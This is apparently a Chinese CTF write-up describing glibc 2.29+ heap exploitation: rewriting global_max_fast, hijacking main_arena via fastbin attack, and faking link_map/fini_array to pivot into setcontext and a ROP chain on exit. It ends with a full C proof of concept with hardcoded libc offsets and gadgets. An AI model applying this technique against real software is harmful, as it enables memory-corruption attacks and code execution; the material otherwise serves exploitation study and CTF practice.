main_arena劫持及link_map劫持

 

主要是在2.29以上的高版本glibc中,setcontext的参数改成了rdx,所以free_hook不能再setcontext rop orw或者进行mprotect运行shellcode
在0ctf的时候遇到了第一次,当时没做出来,是haivk做出来的,师傅tql,感谢师傅提供的思路和wp,之后再geekpwn又遇到了一次

主要是程序进行exit退出时,会执行以下代码

if (l->l_info[DT_FINI_ARRAY] != NULL)
        {
            ElfW(Addr) *array =
            (ElfW(Addr) *) (l->l_addr+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
            unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
            while (i-- > 0)
            ((fini_t) array[i]) (); //漏洞产生点,调用函数数组。
        }
enter code here

通过link_map来运行fini_array的函数,当执行到fini_arry第二个函数时,rdx指向的就是第一个fini_array的位置
所以可以通过劫持程序的link_map来劫持程序的fini_array,这样rdx就可以控制,同时也可以控制程序流进行setcontext

然后是main_arena劫持, 当程序不能分配tcache bin时(比如只能用calloc分配),可以通过tcache smallbin attack 改写global_max_fast,从而fastbin attack劫持main_arena的topchunk, 从而分配内存进行任意地址读写

具体的实现如下

 b[0] = calloc(1, 0x90);
        calloc(1, 0x80);
        b[1] = calloc(1, 0x90);
        calloc(1, 0x80);
        for(int i = 0; i < 7; i++)
                free(a[i]);
        free(b[0]);
        free(b[1]);
        calloc(1, 0x400);
        malloc(0x90);
        b[1][1] = global_max_fast_addr - 0x10;
        calloc(1, 0x90);
enter code here

首先通过tcache smallbin attack改写global_max_fast,改写fastbin最大大小,然后释放内存到fastbin,arena的hava fastbin chunk就会被置1,可以使用0x100 的fastbin attack申请下main_arena,然后改写link_map附近,link_map相对于libc的偏移远程很可能是不一样的,但只有第四,第五位不一样,爆破一下就好了

for(int i =0; i < 8; i++)//fastbin attack 申请 main_arena 改写 topchunk 到 link_map 附近
                free(c[i]);
        c[7][0] = main_arena_ptr - 1;
        calloc(1, 0xf0);
        unsigned long main_arena_1 = calloc(1, 0xf0);
        char * test = main_arena_1;
        test[0] = 0x7a;
        unsigned long * arena_ptr = main_arena_1 + 1;
        unsigned long attack_link_map = libc_addr + 0x236190 - 0x14;
        arena_ptr[10] = attack_link_map;
        arena_ptr[12] = 0x1eabe0 + libc_addr;//因为calloc会将内存置零所以要修复arena,防止报错
        arena_ptr[13] = 0x1eabe0 + libc_addr;
        arena_ptr[14] = 0x1eabf0 + libc_addr;
        arena_ptr[15] = 0x1eabf0 + libc_addr;
        arena_ptr[16] = 0x1eac00 + libc_addr;
        arena_ptr[17] = 0x1eac00 + libc_addr;
        arena_ptr[18] = 0x1eac10 + libc_addr;
        arena_ptr[19] = 0x1eac10 + libc_addr;
        arena_ptr[20] = 0x1eac20 + libc_addr;
        arena_ptr[21] = 0x1eac20 + libc_addr;
        arena_ptr[22] = 0x1eac30 + libc_addr;
        arena_ptr[23] = 0x1eac30 + libc_addr;
        arena_ptr[24] = 0x1eac40 + libc_addr;
        arena_ptr[25] = 0x1eac40 + libc_addr;
        arena_ptr[26] = 0x1eac50 + libc_addr;
        arena_ptr[27] = 0x1eac50 + libc_addr;
        arena_ptr[28] = 0;
        arena_ptr[29] = 0;

enter code here

然后劫持link_map 修改fini_array

        unsigned long my_link_map = calloc(0x1e0 ,1) + 4;
        unsigned long * link_map_ptr = my_link_map;
        link_map_ptr[0] = my_link_map + 0x20;//设置l_addr,指向fini_array
        link_map_ptr[3] = my_link_map + 0x5a0;//l_next
        link_map_ptr[5] = my_link_map;//l_real,指向link_map

        link_map_ptr[6] = setcontext_addr + 0x3d;//伪造的fini_array,会先运行ret,然后运行setcontext时,rdx指向link_map+ 0x38,也就是ret的伪造
        link_map_ptr[7] = ret;

//这里伪造rop链
        link_map_ptr[8] = 0;
        link_map_ptr[9] = pop_rsi;
        link_map_ptr[10] = my_link_map + 0x78;
        link_map_ptr[11] = pop_rdx_r12;
        link_map_ptr[12] = 0x100;
        link_map_ptr[13] = 0;
        link_map_ptr[14] = syscall_ret;


        link_map_ptr[27] = my_link_map + 0x40;//设置setcontext过程t的rsp
        link_map_ptr[28] = pop_rdi;//设置setcontext过程的rip

        link_map_ptr[34] = my_link_map + 0x110;//伪造指向fini_array偏移的指针
        link_map_ptr[35] = 0;//fini_array偏移
        link_map_ptr[36] = my_link_map + 0x120;//伪造指向fini_array个数的指针
        link_map_ptr[37] = 0x20;//fini_array函数个数
enter code here

此时退出程序时,就会指向伪造fini_array函数从而运行我们的rop链,从而可以读入更长的rop链,进行orw或者mprotect执行shellcode

enter description here

完整代码

#include<stdlib.h>
#include<stdio.h>
int main()
{
    unsigned long libc_addr = &puts;
    libc_addr = libc_addr - 0x87490;
    printf("libc_addr is %lx\n", libc_addr);

    unsigned long pop_rax = libc_addr + 0x0000000000028ff4;
    unsigned long pop_rdx_r12 = libc_addr + 0x000000000011c3b1;
    unsigned long pop_rsi = libc_addr + 0x000000000002709c;
    unsigned long pop_rdi = libc_addr + 0x0000000000026bb2;
    unsigned long syscall_ret = libc_addr + 0x0000000000066199;
    unsigned long global_max_fast_addr = libc_addr + 0x1edb78;
    unsigned long main_arena_ptr = libc_addr + 0x1eab80;
    unsigned long setcontext_addr = libc_addr + 0x58000;
    unsigned long ret = libc_addr + 0x000000000006619B;

    unsigned long * a[7];//tcache smallbin attack 改写 global_max_fast
    unsigned long * c[8];
    for(int i = 0; i < 7; i++)
        a[i] = calloc(1, 0x90);
    for(int i = 0; i< 8; i++)
                c[i] = calloc(1, 0xf0);
    unsigned long * b[2];
    b[0] = calloc(1, 0x90);
    calloc(1, 0x80);
    b[1] = calloc(1, 0x90);
    calloc(1, 0x80);
    for(int i = 0; i < 7; i++)
                free(a[i]);
    free(b[0]);
    free(b[1]);
    calloc(1, 0x400);
    malloc(0x90);
    b[1][1] = global_max_fast_addr - 0x10;
    calloc(1, 0x90);

    for(int i =0; i < 8; i++)//fastbin attack 申请 main_arena 改写 topchunk 到 link_map 附近
        free(c[i]);
    c[7][0] = main_arena_ptr - 1;
    calloc(1, 0xf0);
    unsigned long main_arena_1 = calloc(1, 0xf0);
    char * test = main_arena_1;
    test[0] = 0x7a;
    unsigned long * arena_ptr = main_arena_1 + 1;
    unsigned long attack_link_map = libc_addr + 0x236190 - 0x14;
    arena_ptr[10] = attack_link_map;
    arena_ptr[12] = 0x1eabe0 + libc_addr;
    arena_ptr[13] = 0x1eabe0 + libc_addr;
    arena_ptr[14] = 0x1eabf0 + libc_addr;
    arena_ptr[15] = 0x1eabf0 + libc_addr;
    arena_ptr[16] = 0x1eac00 + libc_addr;
        arena_ptr[17] = 0x1eac00 + libc_addr;
        arena_ptr[18] = 0x1eac10 + libc_addr;
        arena_ptr[19] = 0x1eac10 + libc_addr;
    arena_ptr[20] = 0x1eac20 + libc_addr;
        arena_ptr[21] = 0x1eac20 + libc_addr;
    arena_ptr[22] = 0x1eac30 + libc_addr;
        arena_ptr[23] = 0x1eac30 + libc_addr;
        arena_ptr[24] = 0x1eac40 + libc_addr;
        arena_ptr[25] = 0x1eac40 + libc_addr;
    arena_ptr[26] = 0x1eac50 + libc_addr;
        arena_ptr[27] = 0x1eac50 + libc_addr;
        arena_ptr[28] = 0;
        arena_ptr[29] = 0;    
    unsigned long my_link_map = calloc(0x1e0 ,1) + 4;
    unsigned long * link_map_ptr = my_link_map;
    link_map_ptr[0] = my_link_map + 0x20;//l_addr
    link_map_ptr[3] = my_link_map + 0x5a0;//l_next
    link_map_ptr[5] = my_link_map;//l_real
    link_map_ptr[6] = setcontext_addr + 0x3d;
    link_map_ptr[7] = ret;

    link_map_ptr[8] = 0;
    link_map_ptr[9] = pop_rsi;
    link_map_ptr[10] = my_link_map + 0x78;
    link_map_ptr[11] = pop_rdx_r12;
    link_map_ptr[12] = 0x100;
    link_map_ptr[13] = 0;
    link_map_ptr[14] = syscall_ret;

    link_map_ptr[27] = my_link_map + 0x40;
    link_map_ptr[28] = pop_rdi;

    link_map_ptr[34] = my_link_map + 0x110;
    link_map_ptr[35] = 0;
    link_map_ptr[36] = my_link_map + 0x120;
    link_map_ptr[37] = 0x20;

}
(完)